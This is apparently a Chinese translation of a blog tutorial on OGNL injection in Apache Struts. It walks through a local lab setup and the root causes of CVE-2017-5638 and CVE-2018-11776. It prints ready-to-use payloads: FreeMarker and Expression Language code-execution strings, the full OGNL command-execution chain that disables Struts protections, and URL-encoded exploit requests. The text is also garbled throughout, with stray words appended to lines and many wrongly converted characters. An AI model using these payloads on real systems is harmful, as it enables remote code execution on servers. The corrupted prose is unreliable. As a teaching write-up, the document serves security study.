在Apache Struts中利用OGNL注入

前言

本文簡要介紹了Apache Struts的OGNL注入缺陷,文章中介紹使用簡單的應用程序復現OGNL注入。深刻研究針對公共漏洞,並理解這類漏洞。css

內容

  1. 安裝Apache Tomcat服務器(入門
  2. 熟悉Java應用程序在服務器上的工做方式(Web服務器基礎知識
  3. Struts應用程序示例(Struts應用程序示例
  4. 表達語言注入(表達式語言注入
  5. 瞭解OGNL注射(對象圖導航語言注入
  6. CVE-2017-5638根本緣由(CVE-2017-5638根本緣由
  7. CVE-2018-11776根本緣由(CVE-2018-11776根本緣由
  8. OGNL注入Payload的說明(瞭解OGNL注入有效負載

入門

安裝Tomcat

https://tomcat.apache.org/download-90.cgihtml

cd /var/tomcat/bin # Go to the extracted folder
chmod +x *.sh      # Set scripts as executable
./startup.sh       # Run the startup script

轉到http://localhost:8080/並檢查它是否正在運行。前端

安裝Struts舊版本

https://archive.apache.org/dist/struts/2.3.30/java

struts2-showcase.war是一個使用Struts編譯並準備部署的演示應用程序。python

只需將WAR文件複製/var/tomcat/webappsgit

訪問http://localhost:8080/struts2-showcase/showcase.actiongithub

Web服務器基礎知識

Java_servlet概念

https://en.wikipedia.org/wiki/Java_servletweb

處理servlet,Web服務器(例如Apache Tomcat)須要的組件:spring

  • Apache Coyote:https://en.wikipedia.org/wiki/Apache_Tomcat#Coyote

支持HTTP / 1.1協議的Connector。它容許與servlet容器組件Apache Catalina進行通訊。express

  • Apache Catalina容器:https://en.wikipedia.org/wiki/Apache_Tomcat#Catalina

肯定在Tomcat接收HTTP請求時須要調用哪些servlet的容器。將HTTP請求和響應從文本轉換爲servlet使用的Java對象。

Java servlet規範的全部詳細信息(最新版本爲4.0)
https://jcp.org/aboutJava/communityprocess/final/jsr369/index.html

Apache Struts基礎知識

struts_2教程

https://www.tutorialspoint.com/struts_2/index.htm

(模型 - 視圖 - 控制器)架構模式

Apache Struts框架依賴於MVC(模型 - 視圖 - 控制器)架構模式。它對應用程序頗有用,由於能夠分離主要的應用程序組件

  • 模型 - 表示應用程序數據,例如使用「訂單」等數據的類
  • 視圖 - 是應用程序的輸出,可視部分
  • Controller - 接收用戶輸入,使用Model以生成View
  • 動做 - Apache Struts中的模型
  • 攔截器 - Controller的一部分,它們是能夠在處理請求以前或以後調用的鉤子
  • Value Stack / OGNL - 一組對象,例如Model或Action對象
  • 結果/結果類型 - 用於選擇業務邏輯後的視圖
  • 查看技術 - 處理數據的顯示方式

Apache Struts Web應用程序的通常體系結構

Controller接收HTTP請求,FilterDispatcher負責根據請求調用正確的操做。而後執行該操做,View組件準備結果並將其發送給HTTP響應中的用戶。

Struts應用程序示例

使用rest-showcase演示應用程序測試漏洞節省不少時間。

帶有基本前端的簡單REST API

編譯應用程序,創建Maven

cd struts-2.3.30/src/apps/rest-showcase/
mvn package

找到如下文件:struts2-rest-showcase.war。經過將其複製到Tomcat服務器的webapps目錄,例如/var/tomcat/webapps。

rest-showcase應用源代碼:

可用文件說明:

  1. Order.java是模型。它是一個存儲訂單信息的Java類。
public class Order {
 String id;
 String clientName;
 int amount;
…
}
  1. OrdersService.java是一個幫助程序類,它將Orders存儲在HashMap中並對其進行管理。
public class OrdersService {
 private static Map<String,Order> orders = new HashMap<String,Order>();
…
}
  1. IndexController.java 和OrderController.java是Struts應用程序的控制器或動做。

服務器端模板和注入

JSP經過將靜態HTML與在服務器上執行的動態代碼混合,能夠生成動態HTML代碼。

與PHP相似,能夠混合使用Java和HTML代碼。如下是一個例子

<li><p><b>First Name:</b>
            <%= request.getParameter("first_name")%>
         </p></li>
         <li><p><b>Last  Name:</b>
            <%= request.getParameter("last_name")%>
         </p></li>

如上面的代碼片斷所示,可使用請求帶有HTML代碼的對象並調用getParameter函數,該函數返回參數first_namelast_name的值。

遵循MVC設計模式並避免View(JSP)和Model / Controller(Java)之間的複雜混合,能夠在JSP文件中使用表達式語言。使View可以與Java應用程序通訊:

<jsp:text>
   Box Perimeter is: ${2*box.width + 2*box.height}
</jsp:text>

此功能也稱爲服務器端模板,容許在服務器上建立HTML 模板,管理HTML和Java代碼組合。可使用多個服務器端模板引擎,例如FreeMarker,Velocity或Thymeleaf。

經過模板引擎使用一些特殊的編程語言,是服務器端模板注入漏洞的基礎。

當模板引擎解析或解釋用戶提供的數據時,會出現問題。由於模板引擎一般包括調用函數的方法,能夠執行操做系統命令。

使用FreeMarker模板引擎檢查此示例:

<head>
<title>${title}</title>
</head>
…
<#if animals.python.price == 0>
Pythons are free today!
</#if>

在上面的代碼中,若是知足條件,則會生成動態生成的標題和消息。

攻擊者能夠打印動態內容,也能夠是敏感信息,如應用程序配置數據。

此外,若是模板引擎容許,還能夠執行操做系統命令。如下是FreeMarker的示例:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

表達語言注入

表達式語言用於建立服務器端模板,所以它也能夠被視爲服務器端模板引擎。但因爲它也知足其餘目的,所以其中的漏洞並不是嚴格意義上的注入類型。如下是一些例子

${customer.address["street"]}
${mySuit == "hearts"}
${customer.age + 20}
#{customer.age}
${requestScope[’javax.servlet.forward.servlet_path’]}

用戶可能可以執行用戶提供的表達式語言代碼,所以這意味着應用程序可能容易受到表達式語言注入的攻擊。

ExpressionLanguageInjection.pdf:由於使用了${EL}語法,因此很容易找到表達式語言的缺陷。例如,一個簡單的數學運算,例如${9999+1}將被評估10000,可能在響應中可見。

使用表達式語言的默認範圍來檢索實際信息,例如${applicationScope}${requestScope}。深刻利用這個特性就會產生遠程代碼執行,spring-remote-code-with-expression-language-injection。表達式語言注入能夠容許會話對象修改和提高用戶權限的管理員級別:

${pageContext.request.getSession().setAttribute("admin",true)}

最後,甚至可能使用如下方法獲取遠程執行代碼:

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

經過拒絕用戶提供的表達式語言解析函數輸入,保持全部依賴關係更新,甚至經過正確轉義#{${用戶輸入的序列,能夠防止此類漏洞。

對象圖導航語言注入

對象圖導航語言(OGNL)是一種用於Java的開源表達式語言。OGNL的主要功能是獲取和設置對象屬性:「 在Java中能夠作的大部分工做均可以在OGNL中實現。」

例如處理訂單,

public class Order {
String id;
String clientName;
int amount;
… }

能夠在JSP文件中直接訪問訂單屬性,以下所示:

<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
...
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />
ID
<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>

Client
`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`

Amount
`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>
</s:form>

使用%{code}${code}序列評估OGNL表達式。正如其commons-ognl/language-guide中所述,OGNL容許如下內容:

  • 訪問屬性,如nameheadline.text
  • 調用方法如 toCharArray()
  • 從數組訪問元素,如 listeners[0]
  • 甚至將它們組合在一塊兒 name.toCharArray()[0].numericValue.toString()

也可使用variables(#var = 99),create arrays(new int[] { 1, 2, 3 })或maps(#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }),甚至訪問靜態字段(@class@field或調用靜態方法:) @class@method(args)

OGNL是一種功能強大的語言,但在Apache Struts中將用戶提供的輸入視爲OGNL會影響安全性。如下爲用rest-showcase應用程序演示的漏洞例子,爲全部Order屬性提供getter和setter ,例如:

public String getClientName() {
return clientName;
}
public void setClientName(String clientName) {
this.clientName = clientName;
}

經過導入三個額外的包和調用TextParseUtil.translateVariables方法,修改setter使其產生OGNL注入攻擊,而後調用。例子中是修改clientName參數中的值。

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;

public void setClientName(String clientName) {
ReflectionContextState.**setDenyMethodExecution**(ActionContext.getContext().getContextMap(), false);`

this.clientName =TextParseUtil.translateVariables`(clientName, ActionContext.getContext().getValueStack());

translateVariables方法達到如下代碼:

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return **parser.evaluate**(openChars, expression, ognlEval, maxLoopCount);

這將評估OGNL表達式(OgnlTextParser.java)。

使用簡單的數學運算,例如%{999+1}測試漏洞。

客戶端名稱被解析爲OGNL,成功執行數學運算。

在調用translateVariables函數以前,必須先調用setDenyMethodExecution方法執行被拒絕做爲保護措施,攻擊者沒法執行任何方法。

若是在開發階段遇到相似漏洞,則能夠在任何方法調用以前直接從有效負載啓用方法執行:

(#context['xwork.MethodAccessor.denyMethodExecution']=false)

調試Java應用程序

使用舊的Java應用程序(如Struts 2.3.30)在IDEA調試器中編譯和運行:

1.轉到運行>調試>編輯配置
2.單擊+並選擇Maven
3.經過選擇Maven項目來指定工做目錄,例如rest-showcase
4.指定如下命令行:( jetty:run -f pom.xmlJetty是Web服務器)

訪問http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml觸發對setClientName斷點的調用。

CVE-2017-5638原理

CVE-2017-5638曾被利用於Equifax數據泄露。兩份漏洞代碼以下:

exploiting-apache-struts2-cve-2017-5638

Exploit-DB漏洞代碼:

python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned

完整的堆棧跟蹤以下:

  1. doFilter(…)調用prepare.wrapRequest(request); 方法的方法中處理請求
  2. wrapRequest調用dispatcher.wrapRequest(request);
  3. 在這種方法中,能夠找到一些有趣的東西:

Stringcontent_type = request.getContentType();if (content_type != null &&content_type.contains("multipart/form-data")) { ...

request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}

若是Content-Type請求的標頭包含multipart/form-data字符串,則框架將使用MultiPartRequestWrapper類。

  1. 解析請求: multi.parse(request, saveDir);
  2. 嘗試解析請求,但在發現Content-Type無效時會拋出異常:

if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s",MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));

  1. 此異常致使調用buildErrorMessage執行如下方法:( 其中e.getMessage()是包含漏洞利用的錯誤消息)LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale,e.getMessage(), args);
  2. 這會致使回覆 findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
  3. 而後調用 result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
  4. 執行異常的調用: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
  5. 執行異常的「translateVariables」方法:請求不包含multipart / form-data或multipart / mixed流,內容類型標頭爲%{(#_ ='multipart / form-data')。(# DM = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)...

Content-Type帶有OGNL表達式的無效 標題會觸發CVE-2017-5638。出於某種緣由,解析了帶有OGNL表達式的異常消息。

CVE-2018-11776原理

漏洞環境:Struts 2.5.16

漏洞描述:apache_struts_CVE-2018-11776-part2St2-057

在自定義配置下能夠成功利用:

  1. 轉到struts-2.5.16目錄: cd struts-2.5.16/
  2. 並搜索如下文件struts-actionchaining.xmlfind . -name struts-actionchaining.xml
  3. 編輯XML文件,例如 ./src/apps/showcase/src/main/resources/struts-actionchaining.xml
  4. 並修改<struts>標記以具備如下值:
<struts>
    <package name="actionchaining" extends="struts-default">
    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
        <result type="redirectAction">
            <param name = "actionName">register2</param>
        </result>
    </action>
    </package>
</struts>

使用struts2-showcase應用程序做爲目標。編譯它須要如下步驟:

  1. cd src/apps/showcase/ #轉到Showcase目錄
  2. mvn package -DskipTests=true #編譯它(並跳過測試)
  3. cp target/struts2-showcase.war /var/tomcat/webapps/ #複製到Tomcat

訪問此URL來檢查應用程序是否易受攻擊:

http://127.0.0.1:8080/struts2-showcase/${22+22}/actionChain1.action

若是存在漏洞會重定向到http://127.0.0.1:8080/struts2-showcase/44/register2.action。由於執行了表達式中的22+22

技術細節:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit

C語言寫的漏洞利用程序:https://github.com/Semmle/SecurityExploits/blob/master/Apache/Struts/CVE-2018-11776/struts-attacker/src/startcalc.c

使用URL編碼的Payload發送如下的兩個請求:

一、
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

二、
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

EXP以下:

一、
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action

二、
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action

預期的結果應該是彈出計算器:

查看調試器中的Payload有助於理解其工做原理。 請注意,字符串/struts2-showcase/${2+4}/actionChain1.action中的$ {2 + 4}在Struts中稱爲名稱空間,actionChain1是操做。

調用execute(ActionInvocation invocation)方法具備如下效果:

if (namespace == null) {
    namespace = invocation.getProxy().getNamespace(); // namespace is 「/${2+4}」
}
…
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is 「/${2+4}/register2.action」
super.execute(invocation);

execute方法也調用super.execute(invocation);
而後調用此方法:

/**
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation
/* 

public void execute(ActionInvocation invocation) throws Exception {
    lastFinalLocation = conditionalParse(location, invocation);
    doExecute(lastFinalLocation, invocation);
}

conditionalParse方法解析OGNL表達式的參數(在第一步中使用setLocation方法以前設置的位置):

/**
Parses the parameter for OGNL expressions against the valuestack
…
*/

protected String conditionalParse(String param, ActionInvocation invocation) {
    if (parse && param != null && invocation != null) {
        return TextParseUtil.translateVariables(
            param,
            invocation.getStack(),
            new EncodingParsedValueEvaluator());

結果是能夠執行任意OGNL表達式。

結果是能夠執行任意OGNL表達式。 關於這個問題的更多細節

apache_struts_CVE-2018-11776

apache_struts_CVE-2018-11776-part2

要點:當使用動做鏈時,來自用戶的命名空間將被解析爲OGNL。

理解OGNL注入Payload

漏洞中的Payload沒有寫成這樣的形式:%{@java.lang.Runtime@getRuntime().exec('command')},有兩個緣由。 一個是指由Struts維護者實現的保護機制,另外一個是讀取命令輸出的相關功能(跨平臺)。

相關知識頁面:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit

    1. SecurityMemberAccess類,在Payload執行期間用做_memberAccess,決定OGNL能夠執行的操做,但能夠選擇使用條件更加寬鬆的DefaultMemberAccess類。
    1. 另外一個保護措施是將類和包名稱列入黑名單。
    1. 另一種不一樣的緩解措施,多是對靜態方法的限制,這能夠經過_memberAccess 類的allowStaticMethodAccess字段實現。

CVE-2017-5638和CVE-2018-11776的Payload:

(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#context['xwork.MethodAccessor.denyMethodExecution']=false).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
1.  #_ ='multipart / form-data' - 一個隨機變量,由於咱們的有效負載中須要multipart / form-data字符串才能觸發漏洞
2.  #dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS  - 使用DefaultMemberAccess的值建立dm變量(比SecurityMemberAccess限制更少)
3.  #_memberAccess?(#_memberAccess=#dm) – 若是_memberAccess類存在,將其替換爲dm變量的DefaultMemberAccess
4.  #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 從上下文中獲取容器,將在後面須要用到
5.  #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 使用它來獲取OgnlUtil類的實例(咱們沒法直接執行,由於它被列入了黑名單之中,完整的列表位於./src/core/src/main/resources/struts-default.xml)
6.  #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名稱
7.  #ognlUtil.getExcludedClasses().clear() – 清除不包含的類
8.  #context.setMemberAccess(#dm) – 將DefaultMemberAccess設置爲當前上下文
9.  #cmd=’/usr/bin/touch /tmp/pwned’ – 定義咱們想要執行的命令
10.  #iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’)) – 若是應用程序在Windows上運行,則保存在變量中(跨平臺漏洞)
11.  #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根據操做系統執行命令(cmd.exe或bash)
12.  #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder類來運行命令(參數)
13.  #p.redirectErrorStream(true) – 查看命令的錯誤輸出,可能也會有幫助
14.  #process=#p.start() – 執行命令
15.  #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – 獲取響應的輸出流,將數據發送回用戶
16.  @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) – 獲取執行命令的輸出
17.  #ros.flush() – 刷新,確保咱們發送全部數據。

對CVE-2018-11776的漏洞利用有一些不一樣之處:

1. #_=#attr[‘struts.valueStack’] – 使用attr獲取ValueStack
2. #context=#_.getContext() – 獲取上下文
3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 獲取容器
4. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 獲取對OgnlUtil類的引用
5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的類
6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名稱
7. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定義變量dm
8. #context.setMemberAccess(#dm) – 設置DefaultMemberAccess而不是SecurityMemberAccess
9. #sl=@java.io.File@separator – 未使用
10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)聲明ProcessBuilder
11. #p.start() – 執行命令

總結

儘管Apache Struts是一個衆所周知且普遍使用的框架,但因爲缺少公開的安全研究,使其仍然可能成爲一個簡單的目標。有關該主題的公開研究知識,能夠在LGTM博客中得到。

OGNL注入漏洞影響Apache Struts的多個版本,而且是經過濫用代碼中現有功能來實現遠程執行代碼的一個良好示例。

漏洞利用一開始可能看起來很困難,但實際上並不是如此,調試器老是很是有幫助。熟悉Java可能對安全研究者來講很是困難,但最終會變成優點。

在全部新研究中,耐心是最有價值的品質。咱們的建議是,當事情變得困難時,不要輕易放棄。而且善於提出問題,安全社區老是一個最有幫助的地方。

參考

https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/

相關文章
相關標籤/搜索